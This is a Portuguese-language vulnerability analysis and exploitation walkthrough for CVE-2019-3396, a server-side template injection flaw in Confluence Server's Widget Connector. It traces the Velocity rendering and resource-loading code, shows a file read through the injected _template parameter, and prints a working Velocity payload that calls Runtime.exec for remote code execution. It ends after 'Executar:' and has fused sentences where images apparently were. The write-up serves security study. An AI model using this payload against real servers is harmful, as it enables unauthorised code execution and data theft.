
Guia passo a passo de análise e exploração para CVE-2019-3396, uma vulnerabilidade crítica de SSTI no Confluence Server & Data Center, incluindo depuração e execução de payload de RCE.
Produto afetado: Confluence Server & Data Center
Versões afetadas: de 6.0.0 a 6.15.4
Nível de gravidade: Crítico (CVSS ~9.8)
Causa:
O Confluence possui o plugin Widget Connector (usado para incorporar vídeos, conteúdo externo como YouTube, Vimeo...).
Essa funcionalidade não controla adequadamente a entrada do usuário, resultando em Server-Side Template Injection (SSTI).
O atacante pode enviar payload malicioso → Confluence renderiza com Velocity template engine → executa código no servidor.
https://www.atlassian.com/software/confluence/downloads/binary/atlassian-confluence-6.9.0.zip
https://nguyendt.hashnode.dev/confluence-cve-2019-3396




Widget Connector, vamos pesquisar na pasta de código fonte do Confluence
com.atlassian.confluence.extra.widgetconnector.WidgetMacro.classDefaultRenderManager.class
getEmbeddedHtml()
YoutubeRendererurl → link original do YouTube inserido pelo usuárioparams → um mapa contendo parâmetros de configuração para a renderização (ex.: largura, altura, template usado para renderizar,…).
getEmbedUrl(), setDefaultParam() e DefaultVelocityRenderService.render()setDefaultParam()
Se não houver _template → atribui o template padrão como youtube.vm.
=> É possível adicionar _template manualmente ao programa
Em seguida, entrar em DefaultVelocityRenderService.render()
Propósito do método
Recebe url + parâmetros params.
Usa o template Velocity (.vm) para renderizar HTML incorporado (iframe, embed, …).
Determinar o template
Se params contiver _template → usa esse template.
Senão → usa o padrão embed.vm.
Criar contexto padrão com MacroUtils.defaultVelocityContext().
Colocar todos os parâmetros de params no contexto:
Se a chave = tweetHtml → mantém o HTML original.
Caso contrário → codificar com segurança usando GeneralUtil.htmlEncode().
Adicionar urlHtml, width, height ao contexto (se vazio, atribuir 400 × 300 como padrão).

VelocityUtils.getRenderedTemplate()
getRenderedTemplate e getRenderedTemplateWithoutSwallowingErrors()
getTemplate()
Aqui, templateName é o _template mencionado acima.
Em seguida, chama VelocityEngine.Template()

VelocityEngine, continua chamando RunimeInstance.getTemplate()
RuntimeInstance (núcleo do Velocity)
Este é o "coração" do Velocity Engine. Ele cuida de:
Inicializar o engine (init)
Gerenciar configuração, macros, parser, diretivas, event handlers…
E especialmente: gerenciar recursos através do ResourceManager
→ Significa que RuntimeInstance não carrega recursos por conta própria, mas delega para o resourceManager.
CompatibleVelocityResourceManager.getResource()
ConfigurableResourceManager (personalizado do Confluence)
Esta é uma implementação da interface ResourceManager.
Ela é responsável por:
Gerenciar carregadores de recursos (file loader, classpath loader, URL loader…).
Gerenciar globalCache (cache de templates por resourceKey).
Realizar o carregamento/atualização de template (arquivo .vm) quando solicitado pelo RuntimeInstance.

try {
this.refreshResource(resource, encoding);
} catch (ResourceNotFoundException var7) {
this.globalCache.remove(resourceKey);
return this.getResource(resourceName, resourceType, encoding);
}
Quando um recurso está no cache, ele não é retornado imediatamente, mas sim chamado refreshResource(...).
refreshResource compara o tempo da última modificação no disco com o do cache.
Se o arquivo mudou → o recurso no cache é invalidado → recarregado do disco → cache atualizado.
👉 Portanto, não é necessário alterar resourceKey manualmente. O mecanismo de refresh garante que, quando o template muda, o cache também é atualizado.
Adicionar _template e reenviar a requisição

ResourceLoader (objetos já inicializados) no Velocity

FileResourceLoader e ClasspathResourceLoaderFileResourceLoaderChama StringUtils.normalizePath() para bloquear path traversal

normalizePath conforme a imagem
/WEB-INF/web.xml e você verá que o arquivo foi carregado com sucesso.
/../ está bloqueado.ClasspathResourceLoader
ClassUtils.getResourceAsStream
findResource() de /org/apache/catalina/loader/WebappClassLoaderBase.class
super.findResource() que retorna uma URL, ou seja, o objeto pode ser obtido.

url.openStream() para obter os dados


Payload executado
#set ($exp="test")
#set ($runtime=$exp.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null))
#set ($process=$runtime.exec("id"))
#set ($input=$process.getInputStream())
#set ($sc=$exp.getClass().forName("java.util.Scanner"))
#set ($constructor=$sc.getDeclaredConstructor($input.getClass().forName("java.io.InputStream")))
#set ($scan=$constructor.newInstance($input).useDelimiter("\\A"))
#if ($scan.hasNext())
$scan.next()
#end
$runtime.exec("id") → executa o comando do sistema operacional "id" no Ubuntu.python3 -m pyftpdlib -p 2005

Executar:
